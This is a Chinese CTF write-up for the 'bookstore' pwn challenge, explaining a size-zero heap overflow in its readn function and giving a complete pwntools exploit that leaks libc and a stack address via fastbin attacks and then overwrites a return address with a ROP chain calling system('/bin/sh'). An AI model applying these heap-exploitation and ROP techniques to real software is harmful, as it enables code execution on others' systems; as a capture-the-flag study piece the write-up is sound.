CTF PWN之堆漏洞转化为栈漏洞利用——bookstore

题目:https://github.com/giantbranch/CTF_PWN/tree/master/2018/tie3/bookstore

保护措施,NX还有got表不可写

1
2
3
4
5
6
gdb-peda$ checksec 
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL

一开始连漏洞的发现不了,后来同事说了才发现readn一开始将size减一了,那我们输入0,那就可以堆溢出了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall readn(__int64 a1, int a2)
{
__int64 result; // rax
unsigned int v3; // eax
unsigned __int8 buf; // [rsp+1Bh] [rbp-5h]
unsigned int v5; // [rsp+1Ch] [rbp-4h]

v5 = 0;
while ( 1 )
{
result = (unsigned int)(a2 - 1);
if ( (unsigned int)result <= v5 )
break;
read(0, &buf, 1uLL);
result = buf;
if ( buf == 10 )
break;
v3 = v5++;
*(_BYTE *)(a1 + v3) = buf;
}
return result;
}

整体思路如下:
1、通过堆溢出构造一个small bin大小的size,free之后就可以泄露libc了
2、通过fastbin attack,控制malloc的返回值到bss段的books,覆盖book name指针,泄露environ里面存的值,即泄露了栈地址
3、最后在add book的时候发现一个0x40的fake fastbin size,所以后面直接利用fastbin attack将malloc的返回值控制到栈上,覆盖返回地址即可,一开始试了所有one_gadget都不行,最后直接pop rdi ret;system直接起shell

成功结果:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-12-08 19:39:57
# @Author : giantbranch (giantbranch@gmail.com)
# @Link : http://www.giantbranch.cn/
# @tags :

from pwn import *
# context.log_level = "debug"
p = process("./bookstore")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

environ_offset = libc.symbols['environ']

book_addr = 0x602060

# local libc
# environ_offset = 0x3c6f38
main_arena_offset = 0x3c4b20
# one_gadget_offset = 0xf02a4
one_gadget_offset = 0xf1147

# 0x0000000000400cd3 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400cd3



def add_book(author, size, bookname):
p.recvuntil("Your choice:\n")
p.sendline("1")
p.recvuntil("What is the author name?\n")
p.sendline(author)
p.recvuntil("How long is the book name?\n")
p.sendline(str(size))
p.recvuntil("What is the name of the book?\n")
p.sendline(bookname)

def sellbook(index, ):
p.recvuntil("Your choice:\n")
p.sendline("2")
p.recvuntil("Which book do you want to sell?\n")
p.sendline(str(index))



def readbook(index):
p.recvuntil("Your choice:\n")
p.sendline("3")
p.recvuntil("Which book do you want to sell?\n")
p.sendline(str(index))


def getpid():
print proc.pidof(p)[0]
pause()


add_book(p64(0) + p64(0x21) , 0, "a" * 8)
add_book("B", 0, "b" * 8)
add_book("C", 0, "c" * 8)
add_book("D", 0x50, "d" * 8)
add_book("e", 0x50, p64(0) + p64(0x51))


# overflow B to C and leak libc
sellbook(1)
add_book("a", 0, p64(0) * 3 + p64(0x91))
sellbook(2)
add_book("b", 0, "a" * 8)
readbook(2)
p.recvuntil("a" * 8)
main_arena_near = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "main_arena_near = " + hex(main_arena_near)
main_arena_addr = main_arena_near - 0xd8
print "main_arena_addr = " + hex(main_arena_addr)
libc_addr = main_arena_addr - main_arena_offset
print "libc_addr = " + hex(libc_addr)
one_gadget_addr = libc_addr + one_gadget_offset
print "one_gadget_addr = " + hex(one_gadget_addr)
environ_addr = libc_addr + environ_offset
print "environ_addr = " + hex(environ_addr)


# 计算system和/bin/sh的地址
print "\ncalculating system() addr and \"/bin/sh\" addr ... ###"
system_addr = libc_addr + libc.symbols['system']
print "system_addr = " + hex(system_addr)
binsh_addr = libc_addr + next(libc.search("/bin/sh"))
print "binsh_addr = " + hex(binsh_addr)
# getpid()
# 泄露environ中的值
sellbook(2)
sellbook(1)
add_book("a", 0, p64(0) * 3 + p64(0x21) + p64(book_addr))
add_book("a", 0, p64(0))
## 覆盖bookname指针
add_book("a", 0, p64(0) * 2 + p64(environ_addr))
readbook(0)

p.recvuntil("Bookname:")
stack_addr = u64(p.recvuntil("\n")[:-1].ljust(8, "\x00"))
print "stack_addr = " + hex(stack_addr)

stack_offset_40 = stack_addr - 310


# getpid()
#
add_book("a", 0x50, "test")

add_book("a", 0, "test1")
add_book("a", 0, "test2")
add_book("a", 0, "test3")


sellbook(7)
add_book("a", 0, p64(0) * 3 + p64(0x41) + p64(stack_offset_40))
sellbook(8)
sellbook(7)
add_book("a", 0, p64(0) * 3 + p64(0x41) + p64(stack_offset_40))

add_book("a", 0x30, "1")
print "stack_addr = " + hex(stack_addr)
print "stack_offset_40 = " + hex(stack_offset_40)
# getpid()
# 写返回地址为rop
# payload = "a" * 22 + p64(one_gadget_addr)
payload = "a" * 22 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
add_book("a", 0x30, payload)



p.interactive()
打赏专区